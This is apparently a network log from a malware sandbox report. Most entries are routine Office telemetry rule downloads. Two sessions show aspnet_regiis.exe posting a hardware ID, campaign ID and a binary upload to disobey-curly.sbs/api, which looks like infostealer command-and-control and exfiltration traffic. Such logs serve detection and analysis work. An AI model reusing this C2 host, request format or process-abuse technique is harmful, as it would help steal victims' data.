2024-11-23 14:22:21 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:21 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:21 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142221Z-174c587ffdfx984chC1TEB676g00000002yg00000000hdat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:21 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:21 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:21 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142221Z-15b8b599d88g5tp8hC1TEByx6w000000034g00000000059e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:21 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142221Z-174c587ffdftjz9shC1TEBsh9800000002wg00000000c7mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49794	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:22 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4J0PQWFG80EZ5AFU42 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8786 Host: disobey-curly.sbs
2024-11-23 14:22:22 UTC	8786	OUT	Data Raw: 2d 2d 34 4a 30 50 51 57 46 47 38 30 45 5a 35 41 46 55 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 4a 30 50 51 57 46 47 38 30 45 5a 35 41 46 55 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 4a 30 50 51 57 46 47 38 30 45 5a 35 41 46 55 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 6c 6f 6e 69 6b Data Ascii: --4J0PQWFG80EZ5AFU42Content-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--4J0PQWFG80EZ5AFU42Content-Disposition: form-data; name="pid"2--4J0PQWFG80EZ5AFU42Content-Disposition: form-data; name="lid"H8NgCl--lonik
2024-11-23 14:22:23 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05mjgckcia7mh2imt2353fj1pj; expires=Wed, 19-Mar-2025 08:09:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0kp2weTh8%2Fiy%2FwXbjX6eIwI1%2F8Hh5Q351r4YpgpLLnGRJwG1IheoSeqylqRcTAAyOdhibfvIYgsyK1YnD1QeP%2FOzmsUKlreZmlB%2Be9cw81noiRi0BckOAKFuJ3bhrFAlR4YbEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cf9e0ce81921-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9726&delivery_rate=1603514&cwnd=146&unsent_bytes=0&cid=0adc29d3e83a8f86&ts=867&x=0"
2024-11-23 14:22:23 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:23 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 12647bc5-a01e-0070-6743-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142223Z-178bfbc474bv7whqhC1NYC1fg400000004gg00000000dvsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142223Z-174c587ffdfdwxdvhC1TEB1c4n00000002zg000000009s6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:23 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142223Z-174c587ffdfdwxdvhC1TEB1c4n00000002vg00000000msnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:23 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7e801f10-e01e-003c-746c-3dc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142223Z-15b8b599d88m7pn7hC1TEB4axw0000000360000000002rur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:22:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142223Z-174c587ffdfx984chC1TEB676g00000002xg00000000memk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49801	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:24 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5YMZEL1RWVP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20397 Host: disobey-curly.sbs
2024-11-23 14:22:24 UTC	15331	OUT	Data Raw: 2d 2d 35 59 4d 5a 45 4c 31 52 57 56 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 35 59 4d 5a 45 4c 31 52 57 56 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 59 4d 5a 45 4c 31 52 57 56 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 6c 6f 6e 69 6b 69 72 0d 0a 2d 2d 35 59 4d 5a 45 4c 31 52 57 56 50 0d 0a 43 6f Data Ascii: --5YMZEL1RWVPContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--5YMZEL1RWVPContent-Disposition: form-data; name="pid"3--5YMZEL1RWVPContent-Disposition: form-data; name="lid"H8NgCl--lonikir--5YMZEL1RWVPCo
2024-11-23 14:22:24 UTC	5066	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-11-23 14:22:25 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pi5qi3a60g6r2cnltt1e74t3m4; expires=Wed, 19-Mar-2025 08:09:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QzpU%2Fcv2yKGhiHg6mN2KMoVG8z8wlOSs6NxDY7HiQ6BjrMqInoR1STKBzQ8xWbMgqqfJGnF%2FyQow6o64chhk1lyHMdN8ubZR1h6XvDyVCjEJ8anXpWPEW2YA6Fu6qgIEgHnpgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cfad5ef00c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: 